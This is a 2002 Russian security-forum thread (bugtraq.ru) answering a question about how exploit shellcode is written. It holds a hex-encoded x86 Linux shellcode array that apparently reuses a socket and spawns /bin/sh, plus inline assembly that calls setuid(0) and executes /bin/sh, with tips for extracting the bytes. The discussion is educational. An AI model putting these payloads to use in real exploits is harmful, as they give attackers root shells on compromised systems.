информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Страшный баг в WindowsSpanning Tree Protocol: недокументированное применениеСетевые кракеры и правда о деле Левина
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Microsoft Authenticator прекращает... 
 Очередное исследование 19 миллиардов... 
 Оптимизация ввода-вывода как инструмент... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
если вы видите этот текст, отключите в настройках форума использование JavaScript
ФОРУМ
все доски
FAQ
IRC
новые сообщения
site updates
guestbook
beginners
sysadmin
programming
operating systems
theory
web building
software
hardware
networking
law
hacking
gadgets
job
dnet
humor
miscellaneous
scrap
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
Shellcode 15.08.02 01:09  Число просмотров: 1159
Автор: Biasha <Бяша> Статус: Member
<"чистая" ссылка>
> Почти во всех эксплойтах встречаешь, что-то типа:
> char shellcode[] =
> ...
> На основании чего и каким образом он составляется???

На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.
<programming>
Shellcode 14.08.02 20:59   [ZloyShaman]
Автор: nporpammuct Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Почти во всех эксплойтах встречаешь, что-то типа:
char shellcode[] =
"\x89\xe2\x83\xec\x10\x6a\x10\x54\x52\x6a\x00\x6a\x00\xb8\x1f"
"\x00\x00\x00\xcd\x80\x80\x7a\x01\x02\x75\x0b\x66\x81\x7a\x02"
"\x42\x41\x75\x03\xeb\x0f\x90\xff\x44\x24\x04\x81\x7c\x24\x04"
"\x00\x01\x00\x00\x75\xda\xc7\x44\x24\x08\x00\x00\x00\x00\xb8"
"\x5a\x00\x00\x00\xcd\x80\xff\x44\x24\x08\x83\x7c\x24\x08\x03"
"\x75\xee\x68\x0b\x6f\x6b\x0b\x81\x34\x24\x01\x00\x00\x01\x89"
"\xe2\x6a\x04\x52\x6a\x01\x6a\x00\xb8\x04\x00\x00\x00\xcd\x80"
"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe2\x31\xc0\x50"
"\x52\x89\xe1\x50\x51\x52\x50\xb8\x3b\x00\x00\x00\xcd\x80\xcc";
На основании чего и каким образом он составляется???
Чуть более подробно :) 15.08.02 10:34  
Автор: Dude Статус: Незарегистрированный пользователь
Отредактировано 15.08.02 10:36  Количество правок: 2
<"чистая" ссылка>
Это машинный код, отвечающий за выполнение команды sh - потому он и называется шеллкодом, как ты справедливо заметил. Кстати, раз уж заметил, попробуй поискать в поисковике, информации много. Хорошим руководством может служить статья Aleph1 в phrack'е. Кроме того, чисто о написании шеллкодов, http://www.fee1dead.h1.ru/lit/hack/s_hell/VOIDRUshell.txt (и где-то на void.ru, соответственно :)

Обычно пишется прога, ассемблится и собирается, потом оттуда вырезают сам код и вставляют в строку, чтобы прога с повышенными привилегиями запустила его (как? RTFM :). Единственно, мне больше нравится вставлять асм прямо в сишный код - по-моему, нагляднее и удобнее. Например:

/* начало эксплоита */

void sploit ()
{
_asm_("\
CODE_LEN = 0x28 ;
INSTR_LEN = 0x7 ;
genesis: ;
jmp . + CODE_LEN ;
;
/* setting uid to 0 */ ;
xorl %eax, %eax ;
movb $23, %al ;
xorl %ebx, %ebx ;
int $0x80 ;
;
/* performing the main work */ ;
popl %esi ;
xorl %eax, %eax ;
movb %al, INSTR_LEN(%esi) ;
movl %esi, (INSTR_LEN+1)(%esi) ;
movl %eax, (INSTR_LEN+5)(%esi) ;
;
movb $11, %al ;
movl %esi, %ebx ;
leal (INSTR_LEN+1)(%esi), %ecx ;
xorl %edx, %edx ;
int $0x80 ;
;
xorl %eax, %eax ;
incl %eax ;
xorl %ebx, %ebx ;
int $0x80 ;
;
call . - CODE_LEN + 2 ;
sh: .ascii \"/bin/sh\" ;
");
}
void sploit_end () {}

/* остальная часть эксплоита */

После чего можно копировать код из sploit (или sploit+3, чтобы пропустить сохранение регистра ebp), всего копировать (sploit_end - sploit) байт. Причин не делать так я вижу мало. Единственно, надо проверить, чтобы не было нулевых байтов. Но когда привыкаешь, это и так видно. Кроме того, вряд ли получится так писать, если, например, 1) ломаешь big endian с little endian, 2) эсплоит на перле - но это не такие уж частые явления, по-моему.

Кстати, приблизительно так и выглядит, наверное, тот код, который ты привел, только на чистом асме.
Shellcode 15.08.02 01:09  
Автор: Biasha <Бяша> Статус: Member
<"чистая" ссылка>
> Почти во всех эксплойтах встречаешь, что-то типа:
> char shellcode[] =
> ...
> На основании чего и каким образом он составляется???

На основании поставленной цели. Для разных программных/аппаратных платформ и разных случаев различаются.
Тем образом, каким удобней. Обычно :) пишется на асме.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach